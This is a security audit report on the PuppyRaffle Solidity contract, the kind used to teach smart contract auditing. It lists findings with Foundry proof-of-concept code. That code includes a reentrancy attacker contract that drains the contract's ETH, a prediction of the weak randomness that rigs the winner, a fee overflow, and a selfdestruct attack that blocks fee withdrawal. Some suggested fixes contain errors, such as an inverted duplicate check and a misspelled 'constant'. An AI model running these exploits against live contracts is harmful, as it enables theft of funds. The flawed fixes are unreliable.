PuppyRaffle Audit Report

Version 1.0

EzSwim

January 23, 2024

Puppy Raffle Audit Report

EzSwim

January 23, 2024

PuppyRaffle Audit Report

Prepared by: EzSwim

Lead Auditors:
- EzSwim

Table of Contents

See table

Disclaimer

The Ez Flow team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Protocol Summary

PuppyRaffle is a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters:
    1. i. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Roles

- `Owner`` - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the`changeFeeAddress‘ function.
- `Player` - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	1
Info	7
Gas Optimizations	2
TOTAL	16

Findings

High

[H-1] `PuppyRaffle::refund()` sends money before updating `PuppyRaffle::players` leaving the contract open for reentrancy attack

Description: `PuppyRaffle::refund()` sends money to `msg.sender` before updating `PuppyRaffle::players` array. The `PuppyRaffle::sendValue()` function can call a contract `fallback()` function, which can in turn call the `PuppyRaffle::sendValue()` function back until no ETH is left in the `PuppyRaffle` contract.

```
// @audit Reentrancy Attack
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: A malicious contract can call refund and withdraw all the balance in the `PuppyRaffle` contract.

Proof of Concept: Add the following to the `PuppyRaffleTest.t.sol` test suite.

Code

```
    contract ReentrancyAttacker {
        PuppyRaffle victim;
        uint256 entrancefee;
        uint256 attackerIndex;

        constructor(address _victim) {
            victim = PuppyRaffle(_victim);
            entrancefee = victim.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            victim.enterRaffle{value: entrancefee}(players);

            attackerIndex = victim.getActivePlayerIndex(address(this));
            victim.refund(attackerIndex);
        }

        fallback() external payable {
            if (address(victim).balance >= entrancefee) {
                victim.refund(attackerIndex);
            }
        }
    }
    .
    .
    .
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
```

```
31          players[0] = playerOne;
32          players[1] = playerTwo;
33          players[2] = playerThree;
34          players[3] = playerFour;
35          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
36          console.log("Raffle balance BEFORE attack: ", address(
                puppyRaffle).balance);
37
38          ReentrancyAttacker attacker = new ReentrancyAttacker(address(
                puppyRaffle));
39          address userAttk = makeAddr("attacker");
40          vm.deal(userAttk, entranceFee);
41          vm.startPrank(userAttk);
42          attacker.attack{value: entranceFee}();
43          vm.stopPrank();
44          console.log("Raffle balance AFTER attack: ", address(
                puppyRaffle).balance);
45          assert(address(puppyRaffle).balance < entranceFee);
46      }
```

Recommended Mitigation: There are a few recomendations: 1. Consider using the `ReentrancyGuard` by Openzeppelin 2. Consider using the CEI pattern: make the changes to the `PuppyRaffle` storage before interacting with another contract / sending ETH

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6           payable(msg.sender).sendValue(entranceFee);
7
8   -       players[playerIndex] = address(0);
9           emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner()` allows anyone to choose a winner

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` creates a predictable final number. It is not a good random number. Malicious users can manipulate theses values or know ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" nft.

Proof of Concept: Add the following to the `PuppyRaffleTest.t.sol` test suite.

Code

```
    function test_weakRngSelectWinner() public {
        // The duration for selection a winner has occured.
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // 100 players in raffle and we can pick ourselfves as the winner
        uint256 nbrPlayersInRaffle = 100;
        address userAttk = makeAddr("attacker");
        uint256 playerIndex =
            uint256(keccak256(abi.encodePacked(userAttk, block.timestamp, block.difficulty))) % nbrPlayersInRaffle;
        console.log("nbrPlayersInRaffle: ", nbrPlayersInRaffle);
        console.log("Attacker index (i/100): ", playerIndex);
        address[] memory players = new address[](nbrPlayersInRaffle);
        for (uint256 i = 0; i < nbrPlayersInRaffle; ++i) {
            if (i == playerIndex) {
                players[i] = userAttk;
            } else {
                players[i] = address(i);
            }
        }
        console.log("Attacker address: ", players[playerIndex]);
        uint256 oldBalance = address(userAttk).balance;
        console.log("Attacker balance: ", oldBalance);
        puppyRaffle.enterRaffle{value: (entranceFee * nbrPlayersInRaffle)}(players);
        // We trigger the winner selection function
        vm.startPrank(userAttk);
        puppyRaffle.selectWinner();
        vm.stopPrank();
        uint256 newbalance = address(userAttk).balance;
        address winner = puppyRaffle.previousWinner();
        console.log("Winner: ", winner);
        console.log("New attacker balance: ", newbalance);

        assert(winner == userAttk);
        assert(newbalance > oldBalance);
    }
```

Recommended Mitigation: Consider using an oracle (off-chain data) for your randomness like Chainlink VRF.

[H-3] `PuppyRaffle::totalFees` overflow in `PuppyRaffle::selectWinner()`, fee loss for the protocol

Description: `PuppyRaffle::totalFees` overflow can occure in `PuppyRaffle::selectWinner()`. It happens when the total fees are more than 1.84e19.

Impact: The total fees collected by the protocle gets reseted.

Proof of Concept: Add the following to the `PuppyRaffleTest.t.sol` test suite.

Code

```
    function test_overflowFeesCollected() public playersEntered {
        // All checks passed to pick a winner
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log("starting total fees: ", startingTotalFees);

        uint256 nbrPlayersInRaffle = 89;
        address[] memory players = new address[](nbrPlayersInRaffle);
        for (uint256 i = 0; i < nbrPlayersInRaffle; ++i) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: (entranceFee *
            nbrPlayersInRaffle)}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 newFee = ((entranceFee * nbrPlayersInRaffle) * 20) /
            100;
        console.log("new fee: ", newFee);
        console.log("max fees: ", type(uint64).max);
        console.log("expected total fees: ", newFee + startingTotalFees
            );
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees: ", endingTotalFees);

        assert(startingTotalFees > endingTotalFees);
    }
```

Recommended Mitigation: Consider solidity version +0.8.0 and type `uint256` for `PuppyRaffle::totalFees`.

[H-4] `PuppyRaffle::totalFees` and `PuppyRaffle` balance are not aloways equal, causing the protocol to not be able to withdraw fees

Description: In `PuppyRaffle::withdrawFees()` we check if `PuppyRaffle::totalFees` and `PuppyRaffle` balance are equal to withdraw fess. Even though, the contract has no fallback and receive function, a smart contract can selfdestruct() and send ETH to `PuppyRaffle`. Currently a smart contract can not safly refuse ETH.

Impact: The Mishandling of ETH is stopping the `PuppyRaffle` to withwdraw the fees collected from the raffle.

Proof of Concept: Add the following to the `PuppyRaffleTest.t.sol` test suite.

Code

```
    function test_failWithdrwFees() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 totalFees = puppyRaffle.totalFees();

        SelfDestructAttacker attacker = new SelfDestructAttacker(
            address(puppyRaffle));
        attacker.attack{value: 1 ether}();
        uint256 puppyRaffleBalance = address(puppyRaffle).balance;

        console.log("total fees: ", totalFees);
        console.log("balance: ", puppyRaffleBalance);

        vm.expectRevert();
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: Consider removing the check:

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Medium

[M-1] Looping through `PuppyRaffle::players` is a potential denial of service (DoS) attack

Description: `PuppyRaffle::enterRaffle()` loops through `PuppyRaffle::players` array to check that there are no duplicate players entering the raffle. `PuppyRaffle::players` is an unbounded array, anyone can increase its length.

```
1  // @audit DoS Attack
2  @>  for (uint256 i = 0; i < players.length - 1; i++) {
3          for (uint256 j = i + 1; j < players.length; j++) {
4              require(players[i] != players[j], "PuppyRaffle: Duplicate
                   player");
5          }
6      }
```

Impact: The more players enters the raffle, the more gas it'll cost to enter the raffle. It discourage later users from entering and may cause a rush at the start of a raffle.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: Add the following to the `PuppyRaffleTest.t.sol` test suite.

Code

```
1      function test_DenialOfServiceEnterRaffle() public {
2          address[] memory players = new address[](100);
3          for (uint256 i = 0; i < players.length; ++i) {
4              players[i] = address(i + 1);
5          }
6          uint256 gasStart = gasleft();
7          puppyRaffle.enterRaffle{value: (entranceFee * players.length)}(
               players);
8          uint256 gasEnd = gasleft();
9          uint256 gasCost1 = (gasStart - gasEnd) / players.length; // avg
               gas price for first 1000 players
10
11         gasStart = gasleft();
12         address[] memory newPlayers = new address[](1);
13         newPlayers[0] = makeAddr("player");
14         puppyRaffle.enterRaffle{value: entranceFee}(newPlayers);
15         gasEnd = gasleft();
16         uint256 gasCost2 = gasStart - gasEnd;
17
18         console.log("gas cost #1: ", gasCost1);
19         console.log("gas cost #2: ", gasCost2);
20         assert(gasCost2 > gasCost1);
21     }
```

Recommended Mitigation: There are a few recomendations: 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so duplicate check doesn't prevent teh same person from entering twice, only the same wallet address. 2. Consider adding a mapping for players addresses. This would allow constant time lookup of wether a user has already entered the raffle.

```
+    mapping(address => bool) public isPlayerInRaffle;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
+            address newPlayer = newPlayers[i];
+            // Check for duplicates
+            require(isPlayerInRaffle[newPlayer] == true, "PuppyRaffle:
    Duplicate player");
+            players.push(newPlayer);
-            players.push(newPlayers[i]);
         }
-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-            }
-        }
         emit RaffleEnter(newPlayers);;
     }
```

[M-2] Smart contract wallets raffle winners without a `receive()` of `fallback()` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner()` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery will not restart. Users could easilly call `PuppyRaffle::selectWinner()` again and non-wallet players could enter, but it could cost a lot due to the duplicate check and a lottery reset could get challenging.

Impact: The `PuppyRaffle::selectWinner()` could reverts many times, making a lottery reset difficult and expensive.

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends. 3. The `PuppyRaffle::selectWinner()` would not work, even though the lottery is over!

Recommended Mitigation: There are a few recomendations: 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses => payout ammounts so winners can pull their funds out themselves with a new `PuppyRaffle::claimPrize()` function, putting the owness on the winner to claim their prize. (Recommended => Pull over Push method)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex()` returns 0 for non-existent players and for players at index 0, causing the player at index 0 to think he has not enterred the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, `PuppyRaffle::getActivePlayerIndex()` will return 0, but it will also return 0 if the adress provided in the function parameters is not found in the `PuppyRaffle::players` array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: The player at index 0 may think he has not enterred the raffle and may attempt to enter the raffle again, wasting gas.

Proof of Concept: Add the following to the `PuppyRaffleTest.t.sol` test suite.

Code

```
    function test_failGetActivePlayerIndex() public playersEntered {
        // An address that is not in PuppyRaffle::players
        address notPlayer = makeAddr("notPlayer");
        // playerOne is address at index 0 in PuppyRaffle::players
        uint256 playerOneIndex = puppyRaffle.getActivePlayerIndex(playerOne);
        uint256 notPlayerIndex = puppyRaffle.getActivePlayerIndex(notPlayer);
        console.log("first player in raffle index: ", playerOneIndex);
        console.log("not a player in raffle index: ", notPlayerIndex);
        assert(notPlayerIndex == playerOneIndex);
    }
```

Recommended Mitigation: There are a few recomendations: 1. Revert if player is not in the `PuppyRaffle::players` array 2. Return a couple `(bool isActive, uint256 playerindex)` 3. Return an `int256` where `-1` is an incative player

---

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1     pragma solidity ^0.7.6;
```

[I-2] Using outaded version of solidity is not recommended.

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation: Deploy with any of the following Solidity versions:

- `0.8.18`

The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more informations.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 65

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 164

```
1          previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 190

```
1          feeAddress = newFeeAddress;
```

[I-4]: `PuppyRaffle::selectWinner()` does not follow CEI, not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1  +    _safeMint(winner, tokenId);
2       (bool success,) = winner.call{value: prizePool}("");
3       require(success, "PuppyRaffle: Failed to send prize pool to winner"
           );
4  -    _safeMint(winner, tokenId);
```

[I-5]: Use of "magic" numbers is discouraged

It's best to keep code clean and use `constant` state variables instead of number literals.

```
1  +    uint256 private contsant AMOUNT_PRIZE_PERCENT = 80;
2  +    uint256 private contsant AMOUNT_FEE_PERCENT = 20;
3  +    uint256 private contsant AMOUNT_PRECISION = 100;
4       .
5       .
6       .
7       uint256 totalAmountCollected = players.length * entranceFee;
8  +    uint256 prizePool = (totalAmountCollected * AMOUNT_PRIZE_PERCENT) /
        AMOUNT_PRECISION;
9  +    uint256 fee = (totalAmountCollected * AMOUNT_FEE_PERCENT) /
       AMOUNT_PRECISION;
```

```
10 -   uint256 prizePool = (totalAmountCollected * 80) / 100;
11 -   uint256 fee = (totalAmountCollected * 20) / 100;
```

[I-6]: Missing `WinnerSelected` and `FeesWithdrawn` events

It's best to have events triggered when updating the state of `PuppyRaffle`, so that the front end can show the changes.

Missing Events:

- `WinnerSelected` in `PuppyRaffle::selectWinner()`
- `FeesWithdrawn` in `PuppyRaffle::withdrawFees()`

[I-7]: `PuppyRaffle::_isActivePlayer()` is never called

It's best to keep code clean and remove dead/unused code.

```
1  -   /// @notice this function will return true if the msg.sender is an
       active player
2  -   function _isActivePlayer() internal view returns (bool) {
3  -       for (uint256 i = 0; i < players.length; i++) {
4  -           if (players[i] == msg.sender) {
5  -               return true;
6  -           }
7  -       }
8  -       return false;
9  -   }
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Description: Reading from storage is much more expensive than reading a constant or immutable variable.

Recommended Mitigation:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Description: Calling `players.length` read from storage. Calling from memory is more gas efficient.

Recommended Mitigation:

```
+   uint256 playerNum = players.length;
+   for (uint256 i = 0; i < playerNum - 1; i++) {
+       for (uint256 j = i + 1; j < playerNum; j++) {
-   for (uint256 i = 0; i < players.length - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }
```
